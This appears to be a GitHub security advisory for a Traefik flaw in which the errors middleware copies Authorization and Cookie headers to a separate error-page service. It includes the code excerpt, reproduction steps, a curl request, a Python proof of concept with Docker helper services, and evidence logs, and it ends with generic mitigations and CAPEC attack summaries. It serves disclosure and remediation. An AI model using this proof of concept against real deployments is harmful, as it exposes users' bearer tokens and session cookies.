`pkg/middlewares/customerrors/custom_errors.go:151-160`:\n\n```go\nif len(c.forwardNginxHeaders) \u003e 0 {\n utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)\n pageReq.Header.Set(\"X-Code\", strconv.Itoa(code))\n pageReq.Header.Set(\"X-Format\", req.Header.Get(\"Accept\"))\n pageReq.Header.Set(\"X-Original-Uri\", req.URL.RequestURI())\n} else {\n utils.CopyHeaders(pageReq.Header, req.Header)\n}\n```\n\nUnless the `NginxHeaders` branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at `docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107` only states that `Host` is forwarded by default, so operators are not warned that `Authorization`, `Cookie`, and other authentication material are forwarded as well.\n\n## Steps To Reproduce\n1. Deploy Traefik v3.6.13 with a normal business route that uses the supported `errors` middleware and points `errors.service` to a distinct service. The attached PoC uses `BASE_URL = \"http://127.0.0.1:28080\"`, `API_BASE_URL = \"http://127.0.0.1:28180\"`, `ROUTER_PATH = \"/audit-customerrors\"`, `AUTHORIZATION = \"Bearer audit-secret-token\"`, and `COOKIE = \"sessionid=audit-cookie; theme=dark\"`.\n\n2. Start the two attached helper services `customerrors_backend.py` and `customerrors_error.py`. The backend listens on port `8000` and always returns `500`. The error service listens on port `8000` and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:\n\n```text\ntraefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)\ntraefik.http.routers.audit-customerrors.entrypoints=web\ntraefik.http.routers.audit-customerrors.priority=100\ntraefik.http.routers.audit-customerrors.service=audit-backend\ntraefik.http.routers.audit-customerrors.middlewares=audit-leak\ntraefik.http.services.audit-backend.loadbalancer.server.port=8000\ntraefik.http.middlewares.audit-leak.errors.status=500-599\ntraefik.http.middlewares.audit-leak.errors.service=audit-error\ntraefik.http.middlewares.audit-leak.errors.query=/collect\n```\n\n3. Confirm that Traefik has loaded the route and middleware. The attached `customerrors_router.json` shows that `audit-customerrors@docker` uses middleware `audit-leak@docker`, and the attached `customerrors_middleware.json` shows that the middleware is enabled with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:\n\n```bash\ncurl -i \\\n -H \u0027Authorization: Bearer audit-secret-token\u0027 \\\n -H \u0027Cookie: sessionid=audit-cookie; theme=dark\u0027 \\\n http://127.0.0.1:28080/audit-customerrors\n```\n\n5. Observe that the backend returns `500`, Traefik internally requests `/collect` from the error service, and the error service receives the original `Authorization` and `Cookie` headers. The attached `manual_curl_customerrors.txt` response shows the leaked headers directly, and the attached `poc_customerrors_header_leak.output.txt` execution log shows the same result from the automated PoC.\n\n## Recommendations\nThe default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with `utils.CopyHeaders(pageReq.Header, req.Header)`. At minimum, Traefik should strip `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie`, and common custom authentication headers such as `X-Api-Key` before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.\n\n## PoC\nThe main PoC attachment is `poc_customerrors_header_leak.py`.\n\n```python\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\nfrom pathlib import Path\n\n\nTARGET = \"traefik customErrors sensitive header leak\"\nBASE_URL = \"http://127.0.0.1:28080\"\nAPI_BASE_URL = \"http://127.0.0.1:28180\"\nTRAEFIK_CONTAINER = \"traefik-openclaw\"\nNETWORK = \"\"\nDOCKER_IMAGE = \"python:3.12-alpine\"\nBACKEND_CONTAINER = \"traefik-audit-backend\"\nERROR_CONTAINER = \"traefik-audit-error\"\nROUTER_NAME = \"audit-customerrors\"\nROUTER_PATH = \"/audit-customerrors\"\nAUTHORIZATION = \"Bearer audit-secret-token\"\nCOOKIE = \"sessionid=audit-cookie; theme=dark\"\nTIMEOUT_SECONDS = 10\nROUTER_WAIT_SECONDS = 20\n\nEVIDENCE_DIR = Path(__file__).resolve().parent\nBACKEND_SCRIPT = EVIDENCE_DIR / \"customerrors_backend.py\"\nERROR_SCRIPT = EVIDENCE_DIR / \"customerrors_error.py\"\n\n\ndef run_command(command):\n print(f\"$ {\u0027 \u0027.join(command)}\")\n completed = subprocess.run(command, capture_output=True, text=True, check=True)\n stdout = completed.stdout.strip()\n stderr = completed.stderr.strip()\n if stdout:\n print(stdout)\n if stderr:\n print(stderr)\n return stdout\n\n\ndef remove_container(name):\n subprocess.run([\"docker\", \"rm\", \"-f\", name], capture_output=True, text=True)\n\n\ndef detect_network():\n if NETWORK:\n return NETWORK\n\n output = run_command(\n [\"docker\", \"inspect\", TRAEFIK_CONTAINER, \"--format\", \"{{json .NetworkSettings.Networks}}\"]\n )\n networks = json.loads(output)\n network_names = sorted(networks.keys())\n if not network_names:\n raise RuntimeError(\"No docker network found for Traefik container\")\n return network_names[0]\n\n\ndef ensure_image():\n run_command([\"docker\", \"pull\", DOCKER_IMAGE])\n\n\ndef start_error_container(network_name):\n run_command(\n [\n \"docker\", \"run\", \"-d\", \"--name\", ERROR_CONTAINER,\n \"--network\", network_name,\n \"-v\", f\"{ERROR_SCRIPT}:/srv/error.py:ro\",\n \"-l\", \"traefik.enable=true\",\n \"-l\", f\"traefik.docker.network={network_name}\",\n \"-l\", \"traefik.http.services.audit-error.loadbalancer.server.port=8000\",\n DOCKER_IMAGE, \"python\", \"/srv/error.py\",\n ]\n )\n\n\ndef start_backend_container(network_name):\n run_command(\n [\n \"docker\", \"run\", \"-d\", \"--name\", BACKEND_CONTAINER,\n \"--network\", network_name,\n \"-v\", f\"{BACKEND_SCRIPT}:/srv/backend.py:ro\",\n \"-l\", \"traefik.enable=true\",\n \"-l\", f\"traefik.docker.network={network_name}\",\n \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)\",\n \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.entrypoints=web\",\n \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.priority=100\",\n \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.service=audit-backend\",\n \"-l\", f\"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak\",\n \"-l\", \"traefik.http.services.audit-backend.loadbalancer.server.port=8000\",\n \"-l\", \"traefik.http.middlewares.audit-leak.errors.status=500-599\",\n \"-l\", \"traefik.http.middlewares.audit-leak.errors.service=audit-error\",\n \"-l\", \"traefik.http.middlewares.audit-leak.errors.query=/collect\",\n DOCKER_IMAGE, \"python\", \"/srv/backend.py\",\n ]\n )\n\n\ndef fetch_json(url, headers=None):\n request = urllib.request.Request(url, headers=headers or {}, method=\"GET\")\n try:\n response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)\n except urllib.error.HTTPError as exc:\n response = exc\n\n with response:\n return json.loads(response.read().decode())\n\n\ndef wait_for_router():\n deadline = time.time() + ROUTER_WAIT_SECONDS\n while time.time() \u003c deadline:\n try:\n data = fetch_json(f\"{API_BASE_URL}/api/rawdata\")\n if f\"{ROUTER_NAME}@docker\" in data.get(\"routers\", {}):\n return data\n except Exception:\n pass\n time.sleep(1)\n raise RuntimeError(\"Timed out waiting for router\")\n\n\ndef trigger_request():\n headers = {\n \"Authorization\": AUTHORIZATION,\n \"Cookie\": COOKIE,\n }\n return fetch_json(f\"{BASE_URL}{ROUTER_PATH}\", headers=headers)\n\n\ndef validate(response_json):\n leaked_headers = response_json.get(\"headers\", {})\n leaked_auth = leaked_headers.get(\"Authorization\")\n leaked_cookie = leaked_headers.get(\"Cookie\")\n\n print(\"Response JSON:\")\n print(json.dumps(response_json, indent=2, sort_keys=True))\n\n if leaked_auth != AUTHORIZATION:\n raise RuntimeError(f\"Authorization not leaked as expected, got: {leaked_auth!r}\")\n if leaked_cookie != COOKIE:\n raise RuntimeError(f\"Cookie not leaked as expected, got: {leaked_cookie!r}\")\n\n print(\"Validation result: error page service received the original Authorization and Cookie.\")\n\n\ndef main():\n print(f\"TARGET={TARGET}\")\n network_name = detect_network()\n print(f\"Using docker network: {network_name}\")\n\n remove_container(BACKEND_CONTAINER)\n remove_container(ERROR_CONTAINER)\n\n try:\n ensure_image()\n start_error_container(network_name)\n start_backend_container(network_name)\n wait_for_router()\n response_json = trigger_request()\n validate(response_json)\n finally:\n remove_container(BACKEND_CONTAINER)\n remove_container(ERROR_CONTAINER)\n print(\"Cleaned up temporary containers.\")\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except subprocess.CalledProcessError as exc:\n if exc.stdout:\n print(exc.stdout)\n if exc.stderr:\n print(exc.stderr, file=sys.stderr)\n raise\n```\n\nSupporting backend helper used by the PoC, from `customerrors_backend.py`:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(500)\n self.send_header(\"Content-Type\", \"text/plain; charset=utf-8\")\n self.end_headers()\n self.wfile.write(b\"backend forced 500\\n\")\n\n def log_message(self, format, *args):\n return\n\n\ndef main():\n HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nSupporting error service helper used by the PoC, from `customerrors_error.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n body = json.dumps(\n {\n \"method\": self.command,\n \"path\": self.path,\n \"headers\": {key: value for key, value in self.headers.items()},\n },\n indent=2,\n sort_keys=True,\n ).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json; charset=utf-8\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, format, *args):\n return\n\n\ndef main():\n HTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Evidence Files\n`customerrors_middleware.json` proves that the active middleware is the supported `errors` middleware and that it was configured with `status` `500-599`, `service` `audit-error`, and `query` `/collect`.\n\n```json\n{\n \"errors\": {\n \"status\": [\n \"500-599\"\n ],\n \"service\": \"audit-error\",\n \"query\": \"/collect\"\n },\n \"status\": \"enabled\",\n \"usedBy\": [\n \"audit-customerrors@docker\"\n ],\n \"name\": \"audit-leak@docker\",\n \"provider\": \"docker\",\n \"type\": \"errors\"\n}\n```\n\n`customerrors_router.json` proves that the business router `audit-customerrors@docker` was enabled on the `web` entrypoint, routed to `audit-backend`, and used middleware `audit-leak@docker`.\n\n```json\n{\n \"entryPoints\": [\n \"web\"\n ],\n \"middlewares\": [\n \"audit-leak@docker\"\n ],\n \"service\": \"audit-backend\",\n \"rule\": \"PathPrefix(`/audit-customerrors`)\",\n \"priority\": 100,\n \"observability\": {\n \"accessLogs\": true,\n \"metrics\": true,\n \"tracing\": true,\n \"traceVerbosity\": \"minimal\"\n },\n \"status\": \"enabled\",\n \"using\": [\n \"web\"\n ],\n \"name\": \"audit-customerrors@docker\",\n \"provider\": \"docker\",\n \"priorityStr\": \"100\"\n}\n```\n\n`manual_curl_customerrors.txt` proves that a direct request through Traefik caused the separate error service to receive the original `Authorization` and `Cookie` values.\n\n```text\nHTTP/1.1 500 Internal Server Error\nContent-Length: 461\nContent-Type: application/json; charset=utf-8\nDate: Mon, 13 Apr 2026 13:09:58 GMT\nServer: BaseHTTP/0.6 Python/3.12.13\n\n{\n \"headers\": {\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip\",\n \"Authorization\": \"Bearer audit-secret-token\",\n \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n \"Host\": \"127.0.0.1:28080\",\n \"User-Agent\": \"curl/8.7.1\",\n \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n \"X-Forwarded-Port\": \"28080\",\n \"X-Forwarded-Proto\": \"http\",\n \"X-Forwarded-Server\": \"c231be677a1b\",\n \"X-Real-Ip\": \"172.19.0.1\"\n },\n \"method\": \"GET\",\n \"path\": \"/collect\"\n}\n```\n\n`poc_customerrors_header_leak.output.txt` is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC\u0027s validation result.\n\n```text\nResponse JSON:\n{\n \"headers\": {\n \"Accept-Encoding\": \"identity\",\n \"Authorization\": \"Bearer audit-secret-token\",\n \"Cookie\": \"sessionid=audit-cookie; theme=dark\",\n \"Host\": \"127.0.0.1:28080\",\n \"User-Agent\": \"Python-urllib/3.14\",\n \"X-Forwarded-Host\": \"127.0.0.1:28080\",\n \"X-Forwarded-Port\": \"28080\",\n \"X-Forwarded-Proto\": \"http\",\n \"X-Forwarded-Server\": \"c231be677a1b\",\n \"X-Real-Ip\": \"172.19.0.1\"\n },\n \"method\": \"GET\",\n \"path\": \"/collect\"\n}\nValidation result: error page service received the original Authorization and Cookie.\n```\n\n## Impact\nAny deployment that uses the supported `errors` middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.\n\n\u003c/details\u003e",
"id": "GHSA-p6hg-qh38-555r",
"modified": "2026-05-15T23:48:29Z",
"published": "2026-05-04T19:26:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-p6hg-qh38-555r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41181"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.44"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.15"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik\u0027s errors middleware forwards Authorization and Cookie headers to separate error page service"
}
Mitigation
Requirements
Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
Mitigation
Implementation
Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
Mitigation
System Configuration
Setup default error messages so that unexpected errors do not disclose sensitive information.
Mitigation MIT-46
Architecture and Design
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-217: Exploiting Incorrectly Configured SSL/TLS
An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.
CAPEC-612: WiFi MAC Address Tracking
In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.
CAPEC-613: WiFi SSID Tracking
In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.
CAPEC-618: Cellular Broadcast Message Request
In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.
CAPEC-619: Signal Strength Tracking
In this attack scenario, the attacker passively monitors the signal strength of the target’s cellular RF signal or WiFi RF signal and uses the strength of the signal (with directional antennas and/or from multiple listening points at once) to identify the source location of the signal. Obtaining the signal of the target can be accomplished through multiple techniques such as through Cellular Broadcast Message Request or through the use of IMSI Tracking or WiFi MAC Address Tracking.
CAPEC-621: Analysis of Packet Timing and Sizes
An attacker may intercept and log encrypted transmissions for the purpose of analyzing metadata such as packet timing and sizes. Although the actual data may be encrypted, this metadata may reveal valuable information to an attacker. Note that this attack is applicable to VOIP data as well as application data, especially for interactive apps that require precise timing and low-latency (e.g. thin-clients).
CAPEC-622: Electromagnetic Side-Channel Attack
In this attack scenario, the attacker passively monitors electromagnetic emanations that are produced by the targeted electronic device as an unintentional side-effect of its processing. From these emanations, the attacker derives information about the data that is being processed (e.g. the attacker can recover cryptographic keys by monitoring emanations associated with cryptographic processing). This style of attack requires proximal access to the device, however attacks have been demonstrated at public conferences that work at distances of up to 10-15 feet. There have not been any significant studies to determine the maximum practical distance for such attacks. Since the attack is passive, it is nearly impossible to detect and the targeted device will continue to operate as normal after a successful attack.
CAPEC-623: Compromising Emanations Attack
Compromising Emanations (CE) are defined as unintentional signals which an attacker may intercept and analyze to disclose the information processed by the targeted equipment. Commercial mobile devices and retransmission devices have displays, buttons, microchips, and radios that emit mechanical emissions in the form of sound or vibrations. Capturing these emissions can help an adversary understand what the device is doing.